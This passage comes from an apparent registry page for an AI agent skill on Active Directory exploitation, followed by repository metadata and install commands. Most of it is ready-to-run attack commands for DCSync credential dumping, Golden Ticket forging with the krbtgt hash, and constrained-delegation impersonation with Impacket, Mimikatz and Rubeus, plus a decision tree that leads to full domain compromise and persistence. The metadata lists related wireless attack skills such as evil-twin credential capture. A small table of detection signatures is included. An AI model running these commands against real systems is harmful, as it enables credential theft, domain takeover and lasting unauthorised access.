'\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>'@\u003CDC_IP> -outputfile dcsync_dump\n\n# DCSync specific user (stealthier)\nimpacket-secretsdump '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>'@\u003CDC_IP> -just-dc-user administrator -outputfile dcsync_admin\n\n# With pass-the-hash\nimpacket-secretsdump '\u003CDOMAIN>\u002F\u003CUSER>'@\u003CDC_IP> -hashes ':\u003CNT_HASH>' -just-dc -outputfile dcsync_dump\n```\n\n**Mimikatz (Windows)**\n```powershell\n# DCSync all accounts\nmimikatz # lsadump::dcsync \u002Fdomain:\u003CTARGET> \u002Fall \u002Fcsv\n\n# DCSync specific user\nmimikatz # lsadump::dcsync \u002Fdomain:\u003CTARGET> \u002Fuser:administrator\n\n# DCSync krbtgt (for Golden Ticket creation)\nmimikatz # lsadump::dcsync \u002Fdomain:\u003CTARGET> \u002Fuser:krbtgt\n```\n\n### Output Format\n```\n# secretsdump output format:\n\u003CDOMAIN>\\\u003CUSER>:\u003CRID>:\u003CLM_HASH>:\u003CNT_HASH>:::\n\n# Key accounts to extract:\n# - Administrator (RID 500) — domain admin access\n# - krbtgt — Golden Ticket creation\n# - Machine accounts — lateral movement via S4U\n```\n\n## 6. Golden Ticket Creation\n\nForges a TGT using the krbtgt account hash, granting unlimited access as any user for the lifetime of the ticket (default 10 years). Requires the krbtgt NTLM hash (obtained via DCSync).\n\n### Prerequisites\n- krbtgt NTLM hash\n- Domain SID (`whoami \u002Fuser` or `impacket-lookupsid`)\n- Domain FQDN\n\n### Forge the Ticket\n\n**Mimikatz (Windows)**\n```powershell\n# Create Golden Ticket and inject into memory\nmimikatz # kerberos::golden \u002Fuser:administrator \u002Fdomain:\u003CTARGET> \u002Fsid:\u003CDOMAIN_SID> \u002Fkrbtgt:\u003CKRBTGT_NT_HASH> \u002Fptt\n\n# Create Golden Ticket and save to file\nmimikatz # kerberos::golden \u002Fuser:administrator \u002Fdomain:\u003CTARGET> \u002Fsid:\u003CDOMAIN_SID> \u002Fkrbtgt:\u003CKRBTGT_NT_HASH> \u002Fticket:C:\\workspace\\golden.kirbi\n\n# With specific groups (Domain Admins=512, Enterprise Admins=519, Schema Admins=518)\nmimikatz # kerberos::golden \u002Fuser:administrator \u002Fdomain:\u003CTARGET> \u002Fsid:\u003CDOMAIN_SID> \u002Fkrbtgt:\u003CKRBTGT_NT_HASH> \u002Fgroups:512,519,518 \u002Fptt\n```\n\n**Impacket ticketer.py (Linux)**\n```bash\n# Create Golden Ticket\nimpacket-ticketer -nthash '\u003CKRBTGT_NT_HASH>' -domain-sid '\u003CDOMAIN_SID>' -domain '\u003CTARGET>' administrator -outputfile golden\n\n# Use the ticket\nexport KRB5CCNAME=golden.ccache\nimpacket-psexec '\u003CTARGET>\u002Fadministrator@\u003CDC_HOSTNAME>' -k -no-pass\nimpacket-secretsdump '\u003CTARGET>\u002Fadministrator@\u003CDC_HOSTNAME>' -k -no-pass\nimpacket-wmiexec '\u003CTARGET>\u002Fadministrator@\u003CDC_HOSTNAME>' -k -no-pass\n```\n\n### Lookup Domain SID\n```bash\n# From Linux\nimpacket-lookupsid '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>'@\u003CDC_IP> 0\n\n# From Windows\nwhoami \u002Fuser\n# Remove the last RID portion (-500, -1001, etc.) to get the domain SID\n```\n\n## 7. Constrained Delegation Abuse\n\nAbuses S4U2self and S4U2proxy Kerberos extensions. A compromised account with constrained delegation can impersonate any user to the delegated service.\n\n### Enumeration\n```bash\n# Find accounts with constrained delegation (Impacket)\nimpacket-findDelegation '\u003CDOMAIN>\u002F\u003CUSER>:\u003CPASS>' -dc-ip \u003CDC_IP> -target-domain \u003CTARGET>\n\n# BloodHound query\nMATCH (c {allowedtodelegate: true}) RETURN c.name, c.allowedtodelegate\n```\n\n```powershell\n# PowerShell\nGet-ADObject -Filter {msDS-AllowedToDelegateTo -ne \"$null\"} -Properties msDS-AllowedToDelegateTo\n```\n\n### S4U2self \u002F S4U2proxy Exploitation\n\n**Impacket getST.py (Linux)**\n```bash\n# Request service ticket via S4U — impersonate administrator to target service\nimpacket-getST '\u003CDOMAIN>\u002F\u003CCOMPROMISED_ACCOUNT>:\u003CPASS>' -spn '\u003CTARGET_SPN>' -impersonate administrator -dc-ip \u003CDC_IP> -outputfile s4u_ticket\n\n# With NTLM hash\nimpacket-getST '\u003CDOMAIN>\u002F\u003CCOMPROMISED_ACCOUNT>' -hashes ':\u003CNT_HASH>' -spn '\u003CTARGET_SPN>' -impersonate administrator -dc-ip \u003CDC_IP> -outputfile s4u_ticket\n\n# Use the resulting ticket\nexport KRB5CCNAME=s4u_ticket.ccache\nimpacket-psexec '\u003CTARGET>\u002Fadministrator@\u003CTARGET_HOST>' -k -no-pass\nimpacket-smbexec '\u003CTARGET>\u002Fadministrator@\u003CTARGET_HOST>' -k -no-pass\n```\n\n**Rubeus (Windows)**\n```powershell\n# S4U full chain — request TGT, then S4U2self, then S4U2proxy\nRubeus.exe s4u \u002Fuser:\u003CCOMPROMISED_ACCOUNT> \u002Frc4:\u003CNT_HASH> \u002Fimpersonateuser:administrator \u002Fmsdsspn:\u003CTARGET_SPN> \u002Fptt\n\n# With AES256 key\nRubeus.exe s4u \u002Fuser:\u003CCOMPROMISED_ACCOUNT> \u002Faes256:\u003CAES_KEY> \u002Fimpersonateuser:administrator \u002Fmsdsspn:\u003CTARGET_SPN> \u002Fptt\n\n# Alternate service name (service name swapping)\nRubeus.exe s4u \u002Fuser:\u003CCOMPROMISED_ACCOUNT> \u002Frc4:\u003CNT_HASH> \u002Fimpersonateuser:administrator \u002Fmsdsspn:\u003CTARGET_SPN> \u002Faltservice:cifs,host,ldap \u002Fptt\n```\n\n### Common Delegation Targets\n| msDS-AllowedToDelegateTo | Impact |\n|--------------------------|--------|\n| cifs\u002Fserver.domain.com | File share access, PsExec |\n| http\u002Fserver.domain.com | Web application impersonation |\n| mssql\u002Fserver.domain.com | SQL Server access as any user |\n| ldap\u002Fdc.domain.com | DCSync capability |\n| host\u002Fserver.domain.com | Remote admin, WMI, scheduled tasks |\n\n## Tools & Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| BloodHound \u002F SharpHound | AD attack path analysis | Windows \u002F Cross-platform |\n| bloodhound-python | BloodHound ingestor for Linux | Linux |\n| Rubeus | Kerberos interaction (roasting, S4U, tickets) | Windows |\n| Impacket (GetUserSPNs, GetNPUsers, secretsdump, getST, ticketer) | AD exploitation suite | Linux |\n| Mimikatz | Credential extraction, ticket forging | Windows |\n| Certipy | AD CS enumeration and exploitation | Linux |\n| Certify | AD CS enumeration and exploitation | Windows |\n| Hashcat | Offline hash cracking | Cross-platform |\n\n## Detection Signatures\n\n| Event ID | Source | Indicator | Technique |\n|----------|--------|-----------|-----------|\n| 4769 | Security | TGS requested with RC4 encryption (0x17) | Kerberoasting |\n| 4768 | Security | AS-REQ without pre-authentication | AS-REP Roasting |\n| 4662 | Security | Replication rights accessed on domain object | DCSync |\n| 4624 | Security | Logon with forged ticket (anomalous SID\u002Fgroups) | Golden Ticket |\n| 5136 | Security | Directory Service object modification | Delegation abuse |\n| 4769 | Security | TGS for sensitive service by unusual account | Constrained Delegation |\n| 4886 | Security | Certificate Services received certificate request | AD CS abuse |\n| 4887 | Security | Certificate Services approved certificate request | AD CS abuse |\n\n### Behavioral Indicators\n- Sudden spike in TGS requests from a single account (Kerberoasting)\n- AS-REQ for accounts that normally use pre-auth (AS-REP Roasting)\n- Replication traffic from non-DC IP addresses (DCSync)\n- TGT with abnormal lifetime or group memberships (Golden Ticket)\n- S4U2self\u002FS4U2proxy requests from unexpected accounts (Delegation abuse)\n- Certificate requests with SAN different from requesting user (AD CS ESC1)\n\n## Decision Gate\n\n```\nAD Exploitation successful?\n├── YES → Credentials obtained\n│   ├── Service account cracked → Lateral Movement (use creds to pivot)\n│   ├── Domain Admin hash → DCSync → Full domain compromise\n│   ├── krbtgt hash → Golden Ticket → Persistence\n│   ├── Certificate obtained → PKINIT auth → Privilege Escalation\n│   └── Delegation abused → Service impersonation → Lateral Movement\n└── NO → Reassess\n    ├── No Kerberoastable SPNs → Enumerate other attack paths (ACL abuse, GPO)\n    ├── Hashes not cracking → Expand wordlists, try rules, check for AES-only\n    ├── No vulnerable templates → Check ESC2-ESC8, other AD CS vectors\n    ├── Insufficient rights for DCSync → Escalate via ACL abuse or delegation\n    └── No delegation found → Check resource-based constrained delegation (RBCD)\n```\n\n## Bundled Resources\n\n### References\n- `references\u002Fattack-paths.md` — BloodHound Cypher queries, SharpHound collection methods, Kerberos attack reference (SPN enum, Hashcat modes), AD CS ESC1\u002FESC8, DCSync chain, Golden Ticket creation, constrained delegation abuse. Read when you need detailed command references for specific AD attack vectors.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"active-directory, kerberos, credential-access, privilege-escalation, lateral-movement","credential-access","kerberoast, AS-REP roast, DCSync, golden ticket, AD CS, bloodhound, constrained delegation, active directory exploit, certipy, rubeus","T1558.003, T1558.004, T1003.006, T1649, T1550.003, T1087.002","Bash Read Write","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fad","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill ad",{"tool":42,"command":43},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill ad",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill ad","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fad\u002FSKILL.md",true,[50],{"path":51,"resourceType":52,"resourceTypeDesc":53,"sizeBytes":54,"sourceHtmlUrl":55},"references\u002Fattack-paths.md","REFERENCE","参考文档",3820,"https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fad\u002Freferences\u002Fattack-paths.md",[57,64,71,78,85,92],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]